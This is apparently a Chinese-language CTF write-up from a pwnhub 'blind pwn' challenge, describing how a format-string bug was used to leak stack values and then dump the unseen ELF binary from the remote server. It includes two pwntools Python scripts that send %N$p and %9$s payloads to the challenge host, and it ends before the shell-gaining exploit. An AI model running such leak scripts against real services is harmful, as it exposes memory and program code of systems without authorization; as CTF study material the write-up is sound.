使用格式化串攻击来dump服务器上的程序
之前一直以为fmt能泄漏的的就是canary了,直到这次pwnhub遇到没有给样本程序的pwn比赛。这里先泄漏程序,再去分析程序写exp,拿到服务器权限。
blind pwn
只给了一个远程地址54.223.254.123:701
,连接后发现只是简单的输入输出交互,测试%p发现是64位的环境。
信息泄漏
<1>. 尝试固定地址泄漏
先写exp尝试泄漏固定地址处的内容,发现并没有拿到程序头部’ELF’标示字符串,怀疑是开启了PIE,导致了程序映射的地址都是随机的。
<2>. 栈信息泄漏
这里开始泄漏栈信息,来推测出程序的加载地址。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| #!/usr/bin/python
from pwn import * from binascii import *
#64bit
f = open('./stack_info.txt', 'w')
index = 0x1 while index < 220: try: p = remote("54.223.254.123", 701) p.recvuntil('something:') payload = '%'+str(index)+'$#p' p.sendline(payload) p.recvuntil('interesting:') result_str = p.recv() if result_str == '(nil)': result_str = '0x0' resstr = '{:016x}'.format(int(result_str, 16)) f.write(resstr+'\n') index += 1 except Exception: print("index = " + str(index)) log.warning("got exception...", exc_info = sys.exc_info()) break f.close()
|
从返回的栈信息推测程序是加载在0x557a143d0000
附近
经反复测试后得到程序是加载在0x557a143d2000
处。
(这里地址为什么会固定我也没明白,但他人说是因为它虽然开了PIE, 但没开ASLR, 导致了PIE的功能缺失,地址固定下来了)
<3>. 格式化偏移地址确定
根据%p来确定偏移量
<4>. dump ELF
接着从上文得到的地址处开始dump ELF
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| #!/usr/bin/python
# -*- coding: utf-8 -*-
from pwn import * def leakELF(addr): p = None for i in range(5): try: p = remote("54.223.254.123", 701, timeout=1) payload = "aaaabb__%9$s__EN" + p64(addr) #if ("\x0a" in payload) or ("\x00" in payload): # log.warning("newline in payload!") # return "\xff" p.recvuntil('something:') p.sendline(payload) p.recvuntil('interesting:') data2 = p.recv() log.info(hexdump(data2)) if data2: fr = data2.find("bb__") + 4 to = data2.find("__EN") res = data2[fr:to] if res == "": return "\x00" else: return res return "\xff" except KeyboardInterrupt: raise except EOFError: log.debug("got EOF for leaking addr 0x{:x}".format(addr)) pass except Exception: log.warning("got exception...", exc_info = sys.exc_info()) finally: if p: p.close() return "\xff"
f = open("dumpFile", "wb") base = 0x557a143d2000 leaked = "" while len(leaked) < 8300: address = base + len(leaked) tmp = leakELF(address) leaked += tmp log.info(hexdump(leaked)) with open("dumpFile", "wb") as f: f.write(leaked)
|

程序分析
可以看到dump出的程序可以正常分析,接着就是分析漏洞,编写exp,获取服务器shell了。
